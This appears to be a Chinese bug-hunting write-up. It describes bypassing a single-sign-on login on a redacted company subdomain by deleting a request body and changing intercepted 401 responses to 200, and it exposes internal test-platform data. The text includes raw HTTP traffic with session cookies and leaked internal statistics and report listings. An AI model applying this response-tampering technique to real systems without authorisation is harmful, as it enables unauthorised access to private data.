在挖掘一些业务的时候，很多系统都会放在一个统一认证中去访问，你只有登录统一认证才能去访问某个系统，那么当我们在挖掘的时候，遇见这样的环境怎么办呢？

当然是最简单的修改返回包查看是否可以未授权查看内容，当然很多时候都是白给，但是我们还是要尝试一下撒。

当我们扫描出 xxxx.com 存在一个子域名，我们去访问站点 http://stde.xxxx.com 发现他要跳转到一个统一认证的页面，此时我们进行抓包对每一个数据包进行分析：

POST /api/internal/observer/current HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer:
Content-Type: application/json;charset=UTF-8
Origin:
Content-Length: 2
Connection: close
Cookie: UM_distinctid=17b80b548d6d-04100a5a270821-4c3e247b-158860-17b80b548df898; portal_city_default=1;
sxmod_itna=Tqfx2DnQit0+DQ4D4DIiKfx7qkrP8Dui1lWOQ+hF5h+qDsbsDL7jlQL1P/+k9LO2dD6Q7IC=eq1ekbIKmBeoxv6hbnT+1qH+W0Os86r15owqn7G1QC8hjU5+zcfcDz=g5Evi86z7yuU*9w5U78D7ndeCKkx=ARw51qoM0rQM/rw6A3uIQbuL/Eh8*5ToHiW
+Qc0qBH8k77IAV023YEkDz7jEz=Y+shRXw86d7/6b8d7t2abHU/3Qb18DXaki4ArY6njr+hPMLKBnr553W13cn3zcKEyBFr4oU66D9QwfQD5hiCWmqQwFbps0F9Fx=300TVri0iw2ZEhRzj0wVhi*AFqhAbtwxzKq6NvZqsYAT3Qtai12q9IdQ
sih5Vfm6OuR0wBhl4dSFiWhEhWfTs0hZFFIFz60h2gHTbiFR+07P52aeoQKg30tsxzAG2pQ9iNYk80irIpQAerimzT=FT*myr8zET50VWmTzIBBR/eHa*d*0cz4Tzj6RDG26zDfqD*IDmD==; Hm_lvt_6206c0fb3ed4e6fab904c976646c91527=1629959652; Hm_lpvt_6206c0fb3ed4e6fab904c976646c91527=1629959652; _prkey_user2=a7f9bc6i=7x4f=535d=8652=fc6bb5fc70ba; sr_user_id=78f98f3f=f511=4bb9*ae31=2e474a222c7; _ga=GA1.2.2067637229.1629966670;
gid=GA1.2.38482427.1629966670

{}

每一次放包都会自动跳转，但是发现该数据包时，我将箭头所指的{}删掉，发现就可以进入系统卡死在功能点页面，因为页面只有功能点没有数据，我就继续点击功能点

点击任意功能点继续抓包：出现如图的数据包的时候将 401，提示我们需要先登录才能进行访问

HTTP/1.1 200 OK
Date: Thu, 26 Aug 2021 09:28:46 GMT
Content-Type: application/json
Connection: close
Access-Control-Allow-Origin: http://192.168.100.92:8001
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Max-Age: 1000
Access-Control-Allow-Headers: *
Accept: *
Access-Control-Allow-Credentials: true
X-Frame-Options: SAMEORIGIN
Vary: Cookie
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Content-Length: 117

{"code": 401, "message": "请先登录", "data": {"type": "account", "currentAuthority": "admin", "status": "error"}}

常规操作，将 401 改为 200，发现居然成功访问数据：

HTTP/1.1 200 OK
Date: Thu, 26 Aug 2021 09:29:04 GMT
Content-Type: application/json
Content-Length: 549
Connection: close
Access-Control-Allow-Origin: http://192.168.100.92:8001
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Max-Age: 1000
Access-Control-Allow-Headers: *
Accept: *
Access-Control-Allow-Credentials: true
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS

{"code": 200, "message": "查询成功", "data": {"list": [{"id": "2021年9月", "value": "2021-09"}, {"id": "2021年8月", "value": "2021-08"}, {"id": "2021年7月", "value": "2021-07"}, {"id": "2021年6月", "value": "2021-06"}, {"id": "2021年5月", "value": "2021-05"}, {"id": "2021年4月", "value": "2021-04"}, {"id": "2021年3月", "value": "2021-03"}, {"id": "2021年2月", "value": "2021-02"}, {"id": "2021年1月", "value": "2021-01"}, {"id": "2020年12月", "value": "2020-12"}], "pagination": {"current": 0, "pageSize": 10, "total": 1}}}

HTTP/1.1 200 OK
Date: Thu, 26 Aug 2021 09:29:09 GMT
Content-Type: application/json
Content-Length: 1734
Connection: close
Access-Control-Allow-Origin: http://192.168.100.92:8001
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Max-Age: 1000
Access-Control-Allow-Headers: *
Accept: *
Access-Control-Allow-Credentials: true
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS

{"code": 200, "message": "查询成功", "data": {"list": [{"group": "入驻端", "service": "APP", "2021-08-01": 60, "2021-08-02": 242(一级: 95.04%, 用户体验: 4.13%, 政务: 0.41%, 严重: 0.41%,)}, {"group": "", "service": "WEB", "2021-08-01": 5, "2021-08-02": 21(一级: 90.48%, 用户体验: 9.52%,)}, {"group": "超级林来都", "service": "客服中心", "2021-08-01": 1, "2021-08-02": 7(一级: 85.71%, 用户体验: 14.29%,)}, {"group": "", "service": "销售业务", "2021-08-01": 14, "2021-08-02": 59(政务: 5.08%, 严重: 27.12%, 一级: 66.10%, 用户体验: 1.69%,)}, {"group": "", "service": "交易中心", "2021-08-01": 4, "2021-08-02": 16(一级: 100.00%,)}, {"group": "", "service": "客户管理", "2021-08-01": 11, "2021-08-02": 44(一级: 100.00%,)}, {"group": "", "service": "供应服务", "2021-08-01": 9, "2021-08-02": 36(一级: 86.11%, 用户体验: 11.11%, 严重: 2.78%,)}, {"group": "", "service": "安装维护", "2021-08-01": 4, "2021-08-02": 19(一级: 100.00%,)}, {"group": "", "service": "业务咨询组", "2021-08-01": 0, "2021-08-02": "0"}, {"group": "产品部", "service": "供应服务产品组", "2021-08-01": 0, "2021-08-02": 3(一级: 66.67%, 用户体验: 33.33%,)}, {"group": "", "service": "订单后产品组", "2021-08-01": 0, "2021-08-02": "2(一级: 100.00%,)}, {"group": "", "service": "交互设计组", "2021-08-01": 0, "2021-08-02": "1(一级: 100.00%,)}, {"group": "", "service": "销售类务产品组", "2021-08-01": 2, "2021-08-02": "8(一级: 100.00%,)}, {"group": "", "service": "客户运营产品组", "2021-08-01": 1, "2021-08-02": "4(一级: 100.00%,)}], "date": ["2021-08"], "pagination": {"current": 1, "pageSize": 100, "total": 14}}}

可以发现整个站点功能点都可以用这个方法查看数据：

质量平台

- 测试平台
- 质量数据报告
- 测试报告
  - 项目报告
  - 自动化报告
- 测试数据统计
- 业务测试
- 项目管理
- 个人配置

你好,

系统： | TB号： 请输入TB号 | 发送人： 请输入人员名称，支持模糊搜索

查询　重置　**发送邮件**

系统	邮件主题	发送人	发送时间	操作
	【BTB-11438、BTB-11437】测试日报-2021-07-26		2021-07-26 21:26:57	详情
	APP【BTB-11438、BTB-11437】测试日报-2021-07-24		2021-07-24 17:41:06	详情
	【BTB-11438、BTB-11437】测试日报-2021-07-23		2021-07-23 21:58:28	详情
	APP【BTB-11410】测试日报-2021-07-03		2021-07-03 18:30:24	详情
	PP【BTB-11405】测试日报-2021-06-30		2021-06-30 19:48:14	详情
	拍　　【BTB-11405、BTB-11577】测试日报-2021-06-28		2021-06-28 20:59:18	详情